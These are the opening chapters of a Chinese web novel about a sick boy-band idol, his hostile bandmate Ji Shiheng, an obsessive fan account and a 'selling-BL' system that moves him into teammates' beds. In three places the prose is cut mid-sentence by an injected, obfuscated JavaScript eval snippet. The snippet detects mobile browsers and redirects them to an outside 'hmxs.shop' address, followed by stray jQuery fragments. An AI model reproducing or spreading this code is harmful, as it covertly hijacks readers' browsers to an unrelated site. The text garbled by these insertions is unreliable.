《听说你还在搞什么cp?》 1. 圣诞帽 H市今年第一场雪来的比往年要早些,在多数人还没做好准备时悄无声息降临,但又来的不彻底,疏疏落落,十分吝啬。 一夜过去街上已经看不见降雪的痕迹,只有树梢还残留些晶莹的白色。 鹤酌雪窗户外就有棵树,睁眼便能看见。 他慢吞吞从被窝里爬出来,瓷白肌肤接触到空气时有瞬间的战栗,于是他又缩了回去。 用脚尖把昨晚脱了扔床尾的睡衣从被子里勾了回来,开始在被窝蠕动,给自己穿衣服。 等他再一次露头时,光洁额头已经盈了层薄汗,面颊红得不太正常,衬得眉眼越发清艳,似凌雪寒梅。 鹤酌雪眼型偏向圆钝,眼尾却狭长上挑,是典型猫眼,双眸颜色深,如果长久停留在某个人身上会显得多情缱绻。 但如果只是一直盯着窗户外的树看……就未免有点呆了。 大概也是意识到这一点,他迟钝地收回目光,从枕边摸来手机,拨通经纪人的电话。 “喂,小雪吗?我还没去接你呢,你再收拾下行李。” 鹤酌雪轻咳两声,缓解了嗓子里的刺痛感,小声道:“蒋哥,昨晚下雪了。” “你准备改行做天气预报了?他们主持人要求口齿伶俐,你不行。” 经纪人这几天忙的团团转,想到即将要伺候的那几位小祖宗头都大了,不过鹤酌雪一向是几人中最乖的,所以他还有心思调侃。 鹤酌雪默了两秒,高热的大脑运行片刻,还是决定实话实话:“我的意思是……我好像生病了。” “……雪是夜里下的,你当时应该正翘腿在有地暖的公寓里刷小视频吧。” “鹤酌雪,你告诉我下雪和你生病这件事之间有半毛钱关系吗?!” 电话那头传来中年人无能狂怒的质问,鹤酌雪拿远手机,垂睫想:努力找的理由还是被发现了呢。 两件事当然没关系,其实他昨晚从剧组回来已经有感冒的苗头了,但因为今天归团后就要恢复规律作息,所以选择了报复性熬夜导致感冒演化成高烧。 这肯定不能和蒋寻说,他会被念叨死的。 见鹤酌雪不吱声,蒋寻很快平息了怒气,也知道他是个三棍子打不出闷屁的性子,无奈道:“你先喝点热水,半小时后我到你公寓,带你去医院。” “好哦。”鹤酌雪乖乖应了,缩回被窝里继续玩手机,玩着玩着又快睡过去,手指无意识间触到论坛一条标红的帖子。 恰好就是关于他们团的。 【HOT:颤抖吧内娱,你们的皇帝回来了】 1L:楼主大白天说什么梦话,我怎么不知道内娱什么时候改成君主专制了? 2L:楼上刚追星不久吧,可怜你皇团不过休团一年竟然连记得的人都没有了[吃瓜jpg.] 3L:引战狗死了,皇团当年撕成什么样了才宣布休团,一年就回归?公司高层脸皮子痒就自己扇两下别逼粉丝动手。 4L(楼主):我可没引战,消息来源可靠,最迟下个月就官宣了。顺便给1L科普一下什么叫“内娱皇帝”。 众所周知,E团的E是“emperor”的E。ECHO,前年出道去年休团如今即将回归,曾经腥风血雨撕遍全论坛包年热搜的顶流男团,就是上两楼口中的“皇团”。 叫“皇团”不止是因为这团跟皇帝一样,屁大点都能被闹上热搜昭告天下,还因为其中四人在入团前都算二线往上,各个都被粉丝当太子耀祖紫薇星捧着,自带超高流量。 是当时每官宣一个成员都要让人惊呼“卧槽他怎么也来搞男团”的程度。 这时你就要问了,ECHO不是五人团吗,还有一个呢? 你问对了,剩下的那个人,是hzx。 耀星藏在手里两年的大宝贝,官宣就是空降ECHO,担当门面兼主唱。 门面嘛,懂得都懂,不就是让另外四人给他作配吗呵。 他粉丝自己都爱舞“团内四个太子,只有hzx一个白王”这种话,演都不演了。 你的白王,无限猖狂[菜狗jpg.]。 5L:喷不了,这位是真皇族:-D。 6L:为什么是白王,他的名字不是应该叫雪王……好的我懂了。 7L(楼主):而且可以确信的是,在这个论坛谁都可以不打花名,他必须打。 因为他粉丝,全宇宙第一疯[滑稽jpg.]。 8L:你说白王空降很皇没问题,说他不配当门面要不还是捂着眼睛向前跑吧,那张脸确实内娱无代餐,男女通杀我都动心[积积阳阳德jpg.]。 9L:楼主偷偷藏不住,你白王昨天刚杀青今天就能在论坛刷到了,腥风血雨体质不愧如此,下家跪安吧。 10L:笑嘻了雪姐果然打进来了,楼主自找的,介绍就介绍还夹带私货,你不挨扇谁挨扇。 11L:是这样,巴掌打脸上才知道痛。话说一直很好奇,hzx不是一直走的什么清冷单纯人设吗,他粉丝怎么战斗力那么高?粉不随正主啊。 12L:如果雪姐战斗力不高,白王应该早就因为去年的事被雪藏了吧,都是刀光剑影中磨炼出来的。 哦还有很重要的一点,白王是唯一进团时没成年的,算半个养成系。 这就不用多解释了吧:-D。 13L:大师我悟了。 …… 43L:怎么都在讨论白王的事,歪楼了吧,这个帖子不是讨论ECHO回归的吗? 44L:楼主被雪姐扇回家喝西北风,能不删帖已经够倔强了,不过我觉得可能性不大,之前成团活动那一年就闹出不少事了,标准“貌合神离”散伙团,分开发展也都势头很猛,现在回归图什么,之前休团一年又算什么? 各自培养死士准备发动第三次世界大战吗? 45L:说的在理但好好笑…… 46L:综上所述,回归是不可能回归的,概率和那几人相亲相爱称兄道弟大卖特卖一样小,散了吧散了吧。 鹤酌雪困倦地刷着论坛,目光划过阴阳他“白王”“皇族”之类的言论,面上没有一丝波动,落在替他说话的几层楼上时,才漾出些笑意来。 他是个对恶意非常不敏感的人,或者只是不在意。 可看见粉丝替他说话,还是会忍不住开心。 这个帖子很多内容有失偏颇,但是有一点说对了——ECHO确实要回归了。 鹤酌雪猜这是公司那边特地放出来的消息,给粉丝做点心理准备。 ECHO本身是为吃掉前大热男团N团解散后余下流量而推出,团内都是公司签约的X级艺人,在组成男团前,少有人把他们几个联系在一起。 因为不是选秀团,所以成员之间自然也不存在什么友谊啊羁绊啊之类的东西,给人第一感觉就是“塑料兄弟情”。 但是成员自身条件过硬,作为圈内公认的具有超强业务能力的“完颜团”,红得顺理成章,成团后不仅吃尽了N团的流量,还收割了其他不少粉丝关注,荣登顶流。 想到这里,鹤酌雪头更痛了。因为高热度就意味着高关注,ECHO一举一动都被不少人盯着,他们最爱看的热闹就是团内扯头花。 偏偏团内不和的传言并非空穴来风,虽然没有外界想的那么严重,但是……鹤酌雪承认,他的队友们确实不太好相处。 鹤酌雪又一向不擅长处理人际关系,只能尽量和大家保持同事间的礼貌体面。 他要求不高,希望队友也用这种态度对他就行…… 注意到时间已经过了十分钟,鹤酌雪终于做出起床的重要决定,顶着虽乱但看上去很柔软的毛茸茸发型去洗漱了。 最后在蒋寻进门前收拾好了自己,两腿并拢,像个犯错的小孩一样坐在沙发上等他带自己去医院。 蒋寻:…… 这小子是不是以为我分不清他什么时候真乖什么时候装乖? 蒋寻木着脸把装乖但是脸颊绯红,疑似再烧会儿就能被成功炼化成SSR级别漂亮傻子的鹤酌雪领走了。 …… 好在只是免疫力低导致受凉感冒,不是流感。 蒋寻把诊断报告塞进口袋,老妈子似的絮絮叨叨:“我不是早就提醒过你注意穿衣吗!还有你那睡觉的习惯,尽量改改,后面大家住一起,万一有点什么夜里去找你也不方便。” 鹤酌雪“嗯啊”全部同意,他戴着口罩还围了围巾,一张小脸被遮得只漏出乌黑晶亮的眼睛,眼尾被还未散去的热意染上绯色,隐隐可见泪花,既清纯又无辜。 蒋寻对病号也说不出什么重话来,只叮嘱道:“我们来医院肯定被粉丝看见了,你一会记得发条微博报平安。” “好哦。”鹤酌雪说话很喜欢带语气助词,他声音又好听,独有的清亮加上尾音习惯性上扬,小钩子一样,只是应声也像撒娇。 蒋寻听惯了,偶尔还是会身上发麻,逃也似的带着他走了。 回到车上,鹤酌雪开始编辑微博,从自己网上冲浪一条条记下的文案里挑来挑去,又找了张觉得很酷帅的自拍当配图: 鹤酌雪V:今天天气好冷,导致我得了最近很流行的那个什么冷脸萌??????[图片] 照片上,他带着黑色贝雷帽和泪滴黑框眼镜,对着镜头努力板起脸,面颊若雪乌发柔软,嘴角也刻意放平,神似一只闹脾气故意别过脸不理人的小鸟。 他其实是冷而艳的长相,不说话没表情时会让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16944651|192986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人觉得难以接近,刚出道时团里给他想的人设就是清冷高智美人……不过因为一些原因还是没有达成。 微博发出去下一秒就刷新了很多评论: [亲死这个小雪,去医院如果是为了治疗冷脸萌的话还是放弃吧,你天生就萌!] [最近好冷,小雪也要注意保暖呀~] [我一直eat不到这个小雪!] 头好晕。 鹤酌雪将额头抵在车窗上试图散热,看着粉丝的评论又感觉没那么难受了,手指下滑,一张照片吸引了他的注意。 有粉丝给他照片头顶加了个圣诞帽,还问他:[小雪中午吃什么?我要吃鸡公煲嘿嘿,鸡公煲鸡公煲经过我的胃~~] 他被谐音梗逗笑了,看着照片里自己脑袋上的圣诞帽越看越喜欢,决定回礼。 保存这个粉丝的头像,打开p图软件,画上圣诞帽,然后回复:祝你用餐愉快呀[图片]。 这一回复不得了了,先是这个粉丝激动到连打六个感叹号,然后这层楼就被顶成热评第一了,下面叽叽喳喳是其他粉丝的撒娇卖萌:[小雪小雪我也要圣诞帽~] [小雪妈妈爱你你孝敬妈妈一个圣诞帽怎么样!] [原创妹第一次感到如此无力呜呜呜] 鹤酌雪索性一个个满足愿望(除了原创妹),不停的保存图片,画圣诞帽,然后发出,收到粉丝的激动回复,看着评论区多了一堆自己画的小圣诞帽,十分有成就感。 就这样画了一个小时圣诞帽,他脑袋晕晕乎乎,连看前面驾驶座的蒋寻都感觉他植被稀薄的脑袋上也应该有个圣诞帽。 刚准备眯一会,余光瞥见收到一条私信,来自【怀雪问长生】。 只看id这显然是他的粉丝,但是鹤酌雪对他有印象——这是个非常奇怪的人。 他老是转发鹤酌雪的自拍然后发表一些言论,比如: 【坏老婆又趁着老公不在家给别的男人看腿?】 【衣服领口那么大你怎么不干脆拉到肩膀】 【就那么想要人看你吗hzx,欠x的xx】 然后就会被很多人骂,他还会反骂回去并且把自己放在一个被妻子背叛的可怜丈夫定位上,张口就是:[你又是他外面养的第几个,给你脸了那么爱跳?] 癫到别人觉得多和他讲两句话都会被染上怨夫味。 这是鹤酌雪看见别人对他的评价,对他来说……只是不太理解这种人,好像很讨厌他总是对他说很过分的话,但是又很舍得给他砸钱。 应该是刚成团那会的事,鹤酌雪被质疑没资格进ECHO,因为其他几人多少已经在娱乐圈有些名气,他却是个新面孔。 结果怀雪问长生直接po出一张截图:他在公司官方平台上给鹤酌雪打榜,投了四百万,直接让鹤酌雪变成那周的人气top。 并且配文:这够算他的资格吗?我还可以给更多。 后来事情澄清了,怀雪问长生也一战成名——所有粉丝都知道他人癫且钱多了。 怀雪问长生之前也经常私信他,发一些他看不懂不知道怎么回的句子,鹤酌雪拿给蒋寻看,蒋寻黑着脸让他把这人拉黑。 鹤酌雪没有拉黑,他几乎不拉黑别人,碰见不喜欢的也只是尽量无视。 他点开聊天框,出乎意料的,这次是一个非常正常的对话:[为什么不给我画圣诞帽?] 啊…… 鹤酌雪缓慢眨了两下眼睛,切回评论区,在很下面才找到他的评论——其实是因为这人威名在外,所以粉丝故意不顶他的评论让他沉底,免得那些污言秽语再进入鹤酌雪眼里。 但是鹤酌雪不知道,他只觉得有些愧疚,因为怀雪问长生回帖其实很早,比他前面已经画了圣诞帽的很多粉丝还要早。 所以他带着歉意点开怀雪问长生的头像,准备大展身手……又停住了。 这人头像是个黑白色调的腹肌图,客观来说轮廓很优美练的很好,但是——没有脑袋怎么画圣诞帽啊! 鹤酌雪犹豫一下,还是问了:[你的头像没有头诶,要画在哪QAQ] 怀雪问长生:[……] 怀雪问长生:[随便,你觉得哪里最漂亮就画在哪。] 鹤酌雪:[好哦。] 他切到p图软件,思索片刻,在照片中下位置落笔画了个小小圣诞帽。 ——那是肚脐眼的位置。 又想到什么,鹤酌雪切回微博点开怀雪问长生的主页,看见他最新一条微博是:初雪,明天见。 于是他把原本圣诞帽帽尖的毛绒球擦掉,改画了一片洁白的雪花。 鹤酌雪:[图片] 鹤酌雪:[帮你把肚脐眼盖上了,小心着凉owo] 2. 感冒药 强行打起精神p完这张图,鹤酌雪觉得自己仅剩的脑细胞也被烧干了,他把手机往旁边一扔,脸贴着玻璃昏昏睡过去。 等红绿灯时,蒋寻回头看,发现鹤酌雪已经睡得七歪八歪,半张脸埋在羽绒服的毛领里,像一只无忧无虑冬眠的小兽,于是也放缓车速。 * 耀星对X级艺人的待遇一向是好到令圈内人羡慕,更别说全员X级的ECHO,直接拨了栋别墅给他们当日常起居和训练的场所。 纪时珩第一次觉得这栋别墅里暖气这样足,以至于他坐在沙发上,紧盯着那与黑白腹肌照完全不搭的小圣诞帽,脸却发烫。 鬼使神差地放大又放大,直到那顶小帽占据整个屏幕,帽尖笔触笨拙的雪花也落在他指尖,纪时珩在想鹤酌雪是怎么在这张照片上作画的。 一开始应该是有些为难,可能要反复把照片从上往下扫好几遍,才能确定落笔点,然后弧度漂亮的细白指尖就会缓缓划过照片上的沟壑,勾勒出这顶精巧的小圣诞帽。 如果鹤酌雪对这顶帽子满意,他说不定会在画完后用指尖点点下唇,翘一下嘴角。 纪时珩知道他有这个习惯,他观察鹤酌雪,从【怀雪问长生】这个账号创建之前就开始。 如果这些都发生,那和直接亲在他腹肌上有什么区别。 纪时珩面无表情地想,鹤酌雪还是这样浪荡,隔着屏幕也要让他不得安宁。 于是打字:[画的不错,我很喜欢。] [对了,你今天发微博的那张照片也不错,还有没有更多?] 他盯着屏幕等了十几分钟,没等到回复。 手指又开始在键盘上敲敲打打:[算了,也没有很想要。] [……] [你最好也没私发给别人看过呵。] 发完这些,他切到鹤酌雪微博主页,几次刷新,确定自己是鹤酌雪回复的最后一个人,就把手机揣进兜里,从沙发起身踱步到门口,从鞋柜里拿出鹤酌雪那双拖鞋 又去药柜翻出感冒冲剂——鹤酌雪今早去医院了,他顺手发消息问了蒋寻,说只是受凉导致的发烧。 鹤酌雪这种小废物被扔出去独自生活一年,现在一定是故意把自己折腾生病好让他心疼吧。 他才不会心疼。 纪时珩垂眸,打开微信又给蒋寻发了条消息:[车后座应该有毛毯,他要是冷你就拿给他,别在路上冻死了。] 蒋寻:[……] 蒋寻:[我们到了。] 纪时珩回到客厅,顺手打开电视机,倚在沙发上老神在在。 片刻后门铃响起,他起身去开门。 比他矮了半个头的少年站在门前,抬头讶异地看向他,眸光清亮而茫然。 就像徘徊于密林中最后敲响巫师家门的小鹿。 纪时珩一直都知道鹤酌雪漂亮,而且是近乎妖异,趋向古典美的那种漂亮法。 他第一次见到鹤酌雪时还以为自己撞鬼了,蛊惑人心的艳鬼。 凌晨的练功房,少年留着半长发,暗红的水袖舞服裹在刚抽条的清瘦身体上,腰细到不盈一握,赤足起舞。 他脚踝上扣了金色的饰品,回旋转身伴着鼓声阵阵,步生金莲。 色授魂与,一眼荡魄。 而当时的艳鬼,此刻却把自己包在温暖棉服里,脸是欺霜赛雪的白,神情恹恹像只病猫,他印象中素来红润的唇也透出枯败。 纪时珩呼吸微滞,无名怒意涌上心头。 鹤酌雪没想到开门的会是纪时珩,他太久没回这里甚至忘了密码,所以才选择敲门。 如果提前知道纪时珩在的话,他应该会选择等蒋寻停完车一起开门。 因为纪时珩讨厌他,之前在团里两人关系就不好,外界甚至直接定性他们是“死对头”。 能进ECHO,纪时珩当然是有张顶级的脸,不管是脸型还是五官都挑不出错,他还挑染了一簇紫发,配上银白色陨星形耳钉,叛逆不羁。 而看见门口是他,纪时珩那张本就冷的脸更臭了,就像看见极麻烦又不能动手的冤家,只能用压低的眉眼和嘴角不屑的弧度来表达自己的不爽。 “你准备在门口傻站多久,我会吃人吗。” “啊……好哦。”鹤酌雪本来想解释自己没有傻站着,只是脑子现在转的有点慢,导致他没反应过来下一步要做什么。 但是纪时珩让他进去,那就进去吧。 步入温暖的环境,换了拖鞋,鹤酌雪感觉刚刚被冷空气逼迫强行清醒的大脑又开始晕乎了。 他瞥见长沙发上有纪时珩的外套,抿了抿唇,坐到了角落的单人沙发里。 不知道为什么,看见他坐下,纪时珩脸又往下拉了一大截。 鹤酌雪不由得在心里腹诽:占有欲那么强吗,觉得一客厅沙发都是你的? 那有本事全抬进自己房间呗,反正我还可以坐餐厅的椅子。 他悄悄吐槽纪时珩的小气,没注意到由于温度回升,他脸颊又爬上的红晕。 纪时珩看着他这幅又萎靡又呆的样子心里就来气:精神怎么那么差,是不是车上玩手机玩的?生病了不知道好好休息吗? 全然忘记自己也是骚扰鹤酌雪的一员,满脑子只有他顶着烧坏的脑袋给粉丝怒画一小时圣诞帽的壮举,冷嘲道:“生病还坚持营业,这么努力是想早点单飞吗?” 鹤酌雪垂着鸦色羽睫,有点没听懂纪时珩在说什么。 他不记得自己什么时候说过要单飞。 只能将这句话归根为“纪时珩讨厌他到不想和他在一个团里了,想让他滚”。 那他自己为什么不滚,好过分。 还把他营业的原因也归结成那个……明明他只是觉得粉丝们很可爱。 纪时珩讨厌他,还老是误会他。 可能是生病了情绪波动比较大,鹤酌雪难得感到委屈和生气,所以抬眸定定看向纪时珩,生硬道:“随便你怎么想吧,我没有解释的义务。” “但是,你要完蛋了。” 鹤酌雪突然翘了下嘴角,那张秾艷精致到会被误认成玩偶的美人面便鲜活起来,狡黠灵动就像好不容易憋点坏水还憋不住,打个滚就全泄露出来的家猫,扭头冲门口喊:“蒋哥!” 这下轮到纪时珩愣住了,他动了动嘴唇想说些什么,就被刚进门的蒋寻打断:“纪时珩,你又欺负人?” “没有……” “他说我坏话,”鹤酌雪扯来个抱枕塞怀里,嘀嘀咕咕揪着枕角告状:“他说我营业是为了单飞!” 蒋寻拧眉,严肃看向纪时珩:“你真这么说了?” 纪时珩抓了抓头发,有些烦躁道:“对,但我是想说……” “不管你本意是什么,‘单飞’这种话是能随便说的吗?你出道时间比小雪还久,为什么连基本的谨言慎行都做不到?”蒋寻厉声。 他了解纪时珩,大少爷脾气加叛逆,休团后,除了鹤酌雪是一直由他带的之外,其他人一年的工作基本都交给个人经济。 带纪时珩的经纪人是出了名好脾气,恐怕一年都是哄着顺着这位少爷,没让他受过委屈。 现在纪时珩重新回到他手下,性子又得重新打磨。 纪时珩被蒋寻训得低头不吭声,鹤酌雪出了气,刚打起的精神又萎了。 他脾气软气性小,现在看纪时珩这幅模样又觉得有些可怜,干脆道:“我原谅你了。” 他又不是纪时珩这种小心眼的大坏蛋,讨厌谁就一直追着欺负。 纪时珩抬头,看向他的目光十分复杂。 “既然小雪原谅你了,我就不好说什么。”蒋寻叹了口气,又把目光移向鹤酌雪:“行李我让人给你带上去了,你早点回房间休息。” 鹤酌雪乖乖点头:“好哦。” 纪时珩也怪声怪气:“公主快回公主房休息吧。”又被蒋寻瞪了一眼。 鹤酌雪懒得和他计较,虽然他自己也对这个外号感到不好意思。 他们的日常用品基本都交 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16944652|192986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给助理来采购,鹤酌雪只提过一个要求:床和四件套都要最好的。 队友打趣说你是豌豆公主吗,要不要给你叠十二层羽绒被? 鹤酌雪当时还认真考虑了一下,说不用了,这听上去有点热。 后来他的房间就被戏称为“公主房”了。 鹤酌雪进了房间就一头扑进大床上,左滚滚右滚滚发现还是和之前一样柔软舒适,美得他忍不住埋在被子里哼唧了两声。 “为什么我听见了小猪叫?”鹤酌雪从被褥间抬头,纪时珩就倚靠在门框上,饶有兴味地看他。 鹤酌雪的脸腾一下红了,双目含嗔又像汪着两谭春水,明艳动人,恶狠狠道:“猪在门口!” 就看见纪时珩嘴角最起码上扬了两个像素点。 ……这人为什么那么坏啊。 “你来干什么?”鹤酌雪闷声闷气,纪时珩把左手抬高展示给他看:“因为有笨蛋把药落在楼下了。” 他走进房间,把右手的杯子放在床头柜上:“感冒冲剂,记得喝。” “哦,谢谢。”鹤酌雪礼貌说,纪时珩转身离开的动作顿了一秒,才回:“不客气。” 等走到楼梯口,纪时珩把手从口袋里抽出来——给自己脸上来了一巴掌。 “不就一声‘谢谢’吗,你笑那么赔钱干什么?” “你以为他真在乎你?” “别自以为是了,他对谁都这样。” * 鹤酌雪喝完药就窝在床上睡了,再睁眼已经下午六点。 阿姨刚好招呼他下楼吃晚饭。 餐桌上只有他和蒋寻,纪时珩不在。 蒋寻问他身体怎么样了,鹤酌雪说已经退烧,他才放下心来的模样:“纪时珩有个拍摄任务,下午出去的。” “颜谡和谢辞慎明天回来,楼弛在国外,应该后天早上到。” 楼弛、颜谡、谢辞慎是ECHO另外三名队员:楼弛是队长,同时担任和副主唱,颜谡是舞担,谢辞慎是创作和乐器担当。 鹤酌雪是ECHO的门面兼主唱,纪时珩是RAP担当。 蒋寻盛了碗撇干净油花的排骨汤,推到鹤酌雪面前:“我之前和你说过,明天有个综艺你还记得吗?” 鹤酌雪试图把排骨汤里的胡萝卜挑出来,被蒋寻盯着还是没得逞:“嗯,和纪时珩一起,宣传新剧。” ECHO休团前给一部电视剧制作了OST并演唱,那是块好饼,全明星阵容,主演还是刚拿下国际奖项的新任影帝。 本来ECHO只用担任OST的制作,但是前段时间那个剧组里一个重要配角的演员爆瓜了,电视剧面临不能按时上线的可能,制作人灵机一动,想到了鹤酌雪。 没有别的原因,鹤酌雪长得和他心目中的那个配角一模一样,人设也搭——那个配角是个因为中毒只有十岁孩童智商的白月光。 这部剧制作就是奔着大爆特爆去的,能分到一个角色对鹤酌雪来说绝无坏处,所以商量后蒋寻就帮他接了,为了补拍那个塌房艺人的镜头,鹤酌雪在剧组里待了半个月,一直到昨天晚上才拍完。 镜头是边拍边剪辑的,下周首播,这周是宣传期,剧组邀请鹤酌雪一起上综艺,还带一个代表ECHO的纪时珩。 “公司那边希望你明天综艺上能和纪时珩多些互动,给你们回归造势,放心不需要用力太猛,队友情,点到即止。” 鹤酌雪点点头:“那你也要通知纪时珩,我怕他不配合。” 蒋寻都懒得回他。 今天早上纪时珩消息哄炸他八百条就为了得到一个“鹤酌雪只是受凉感冒”的确切消息。 和鹤酌雪互动,这小子怕是夜里睡觉都要让牙出来透透气 * 鹤酌雪洗漱完上床,想起蒋寻的叮嘱,又十分纠结看了看自己身上毛茸茸的冬季睡衣。 最后还是钻进被窝里,窸窸窣窣片刻后两脚一蹬,把睡衣全踹到床尾。 呜呼!无拘无束的睡眠他来喽! 3. 麦麸系统 鹤酌雪的睡眠质量一向很高,生物钟稳定,极少因为别人说话就从梦中惊醒……除非那说话声不是响在耳边,而是响在脑子里。 电子音强硬入侵他的梦,机械中带着诡异的兴奋:【叮~恭喜宿主绑定“卖腐大师系统”,今天起和你的所有队友开始卖腐吧!】 卖腐? 鹤酌雪有些茫然,只依稀记得刚入团时,公司那边经理苦口婆心地对蒋寻说过这个词,什么“男团不卖腐,不如回家种红薯”之类的。 蒋寻指着经理的鼻子,痛心疾首:“他还没成年啊你就让他卖,你是人啊?” 当时团里没成年的就只有鹤酌雪,蒋寻是在替他说话。 不好的事情蒋寻一向会帮他回绝的,所以“卖腐”是只有成年后才能干的坏事。 他心下有了计较,抗拒道:“我不要卖腐。” 电子音冷酷无情:【您没有拒绝的权利。】 鹤酌雪:QAQ 这系统似乎能读取他的心声,鹤酌雪在心里敲下这三个字母,它再开口,电子音竟然放轻了些:【请注意,在您达成“卖腐大师”成就之前,您会每天刷新在卖腐值最低的队友床上。 当前卖腐值排名: 楼弛:50 谢辞慎:45 颜谡:30 纪时珩:10】 好长一段话…… 鹤酌雪残存的睡意也没了,大脑全速运转尝试理解——系统的意思是,在他完成成就之前每天都会在别的队友床上醒来吗? 那他现在在谁床上? 这时鹤酌雪才发现身下床单触感不太对,好像没有他床上的滑和软,也不够香。 他内心挣扎了下,悄咪咪把眼睛睁开条缝,从狭窄的视野里窥见一张和他正对的脸,赫然是他昨天才得罪过的死对头大魔王纪时珩! 这是什么恐怖片吗! 鹤酌雪飞快把眼睛闭起来,缓了几秒再睁开,还是纪时珩那张臭脸。 刷新失败。 同时鹤酌雪还发现了更恐怖的一件事——他没穿衣服。 他错了,他以后再也不果睡了。 为什么系统把他送过来时不给他套一件衣服啊,这不是让他当变态吗QAQ。 【……】系统装死。 鹤酌雪欲哭无泪,事已至此,只能先想办法从大魔王床上溜走。 他小心打量着纪时珩,发现他没有睁眼的迹象,就开始小幅度的活动手脚,然后试探性掀开被角,把脚尖探出去一点。 动作时还一直盯着纪时珩,确定他没有睁眼的迹象才继续。 脚尖,脚背,小腿,大腿……因为过分紧张,探出的部位都死死绷着,线条流畅漂亮,雪白柔腻,在昏暗灯光下泛着大理石般轻盈的光泽。 直到半个身子都完美探出被子,鹤酌雪松了口气,在心里和系统对话:“他应该不会醒吧,感觉睡的比我都死。” 果然纪时珩才是猪。 系统:【……是的呢,您比他警觉。】其实它之前有试过用更温和的方法唤醒这位宿主,但是根本叫不醒,无奈只能直接在脑子里面喊。 但是这种事情还是不要让鹤酌雪知道了,免得伤了他的小心脏。 鹤酌雪有些得意,结果就是在准备把屁股挪出被窝时动静过大,床垫弹了一下……然后他就看见纪时珩睫毛动了两下,睁开了眼睛。 鹤酌雪直接僵住。 啊啊啊完蛋了纪时珩会不会把我当变态踹下床啊全果爬上死对头床这种事情怎么看怎么恶心吧! 他试图想个解释,但是发现根本想不到,于是只能颤颤巍巍又闭上眼睛,悄悄把腿往床下探了点——这样被踹下去时可以借点力,不至于摔得很痛。 然而下一秒,他被一只体温更高的手揽过腰,整个人滑进了纪时珩怀里,扑面而来的热气让人产生将要被闷死的错觉,耳边心跳如雷。 ? 什…什么意思? 事情发展完全偏离预料,鹤酌雪惊得睁大眼睛,脑中一片空白连抗拒都忘了。 等反应过来整个人已经被牢牢钳进怀里,纪时珩还有越抱越死的迹象。 鹤酌雪整张脸被埋在他肩部往下位置,鼓起的肌肉膈得他生疼,憋气到快晕过去,不得不开口:“纪时珩……你放开我。” 把他往怀里按的力道一顿,他趁机飞快溜出去,抱着被角把自己缩进床边,可怜兮兮恶人先告状:“你怎么力气那么大?” 纪时珩突然被抢走一半的被子,表情空白看向鹤酌雪: 少年乌发凌乱,白皙的面庞因为恼怒而染上薄红,胸膛微微起伏着,猫眼瞪圆,在昏暗房间里也亮的不可思议。半露在外的肩头既白且薄,像玉也像瓷器,似乎极易打碎或者留下些印记。 纪时珩手掌似乎还残留着对少年皮肤的感知,比最昂贵的丝绸还要滑腻……他情不自禁又捻了捻手指,比脑子反应更快的是嘴:“我错了对不起。” 到底对不起什么他也没明说,鹤酌雪只当纪时珩是为那个拥抱道歉,趁着自己还占据道德制高点而他没反应过来,抱着被子就往床下跳。 溜了溜了! 然后脚底一滑,连人带被子一起摔在了地上,还把纪时珩的魂给摔回来了。 “……”鹤酌雪又闭上了眼。 王维在吗,他有点相思了。 鹤酌雪再从被子里探出脑袋,看见的就是死对头各种情绪杂糅在一起的表情:“你为什么会在我床上?还……” 纪时珩抬了抬下巴,一切竟在不言中。 这下轮到鹤酌雪尴尬了。 “我…我梦游!”他眼一闭心一横,昂起下巴信口胡诌:“衣服是因为发烧太热了睡着睡着自己就掉了!我还要怪你昨天惹我生气才让我晚上那么热!” 然后也不管纪时珩信不信,被子往地上一扔就要往门外冲——被拉住手腕扯了回来。 纪时珩耳廓红透了,别过脸不去看这幅身体:“你就这样出门吗?” 鹤酌雪头上冒出个问号。 不然呢,你还要送我吗? 纪时珩一咬牙,翻身下床打开衣柜,看都没看甩了件衣服给他,冷声道:“穿着出去,别让人误会。” “好哦。”能穿衣服总比光着好,鹤酌雪美滋滋背过身套上……就是有点大了。 鹤酌雪是团里最矮的,其他人都过了180,只有他是可怜的177。 估摸着他差不多穿好,纪时珩才转头,只见深蓝色T恤松松垮垮搭在少年身上,过长衣摆遮到了大腿根,颜色对冲下像被安稳放置在天鹅绒盒子里的珍珠,名贵珍稀,而鹤酌雪还在傻乐,一派天真似乎全然不觉得这样有何不妥。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16944653|192986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一瞬间热气从纪时珩胸口直冲大脑,激得他目眩神迷,强压下后才开口问:“你梦游的事还有别人知道吗。” 鹤酌雪摇头。 当然没有,他也是今天才开始梦的。 纪时珩捏了捏眉心,又问:“那你……光着身子进我房间,有没有被别人看到?” 鹤酌雪怔了下,这他还真不知道,便在脑子里call系统。 系统:【不会有人看见你的转移过程,放心。】 于是鹤酌雪斩钉截铁地复读:“不会有人看见,放心!” 